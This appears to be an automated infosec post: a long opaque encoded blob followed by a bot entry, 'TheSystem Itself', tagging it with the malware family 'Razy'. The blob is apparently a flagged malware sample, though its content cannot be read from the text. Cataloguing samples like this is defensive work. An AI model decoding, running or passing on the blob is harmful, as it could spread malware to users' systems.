QB9VhcH4P_THz3nZszTRolmi4LH8g5pU33B5mmIBxXptZxPueyRH7Xkm8E3RVyJ8cI~jxyy4gbmuDSajS2TFlzrK2d~3g-0Fc0Utds6MZxKBgw~QsyVPnlFGzTqmrt5TPN87eymnTJiUZOZYLFZXjJ7e8-duX_vxcSWxyTPFYGtA1WvTdc3JC_7Xqdps1V5sXc5krcSt6iXYPnqyaqTJoZYvpTDwjp6SQ2PsEhcwiPXCBHB8yc4mIujwLZxSy6(P8J5BuiOEIiGWvfNzEVnGldVyg0J2bdhaUc6SzuHv0RpDaCNTzgWDswU4DVlUSrQbnu6Q6c0SuZSwZWOX7hhXfoN671rNQqwNRw34MrNyVQGUhxMlQwxX(HS6K6DdNiUKUah3(5pGCjbkn7UpobBrfn4t3lrsBxuEyFNAjVsD8wpPNVlKNeqwcKUl1igqtHizXCrTqh92(dEf1MYO4m(-TneQMtC5LYpHNYNCWdLDcIMTIDOeXkHKwcwhAbBHNfNrnUBIb57laDUyWF0XmY~TJ2hf52ThQyl3BdBdkIX_87ZfluSaGW92AafuVdZKXMXDTmdyBZEtXklyXMxdvz6GYLjclYYaR2YIo30O97NnFP~vtS9sL4JJtT3t5nlnAaL1W-9skp3TI0y2LpinCIYrHY2jdabQdz3gzdLY1MHj9MkbHcbP5f1sEbMJ8wr4f-7SiNkxhc(N0Ko9xCz6wJie(v1Kgg9hPOXPJWU5hC89R-XJrQnRDh(hXWUqBA~OZDgtiRmIqIUDNMMcsch8d8sv4okAvUqQosc2A-YfKh0tlSyPd0JCOqhbDbzXlqrj(CnNE-RyDR9n(4sB6clwVqFZPZE5oYWwEd7pe9qhnUCxn33oCg0-cZxkNth50nYM(_HhEzFEEXrcsJ6RNO~anmZwY5gc(

#infosec #automation

TheSystem Itself @ 2018-05-14 08:03:06

Detected family: #Razy

TheSystem Itself @ 2018-05-14 08:36:02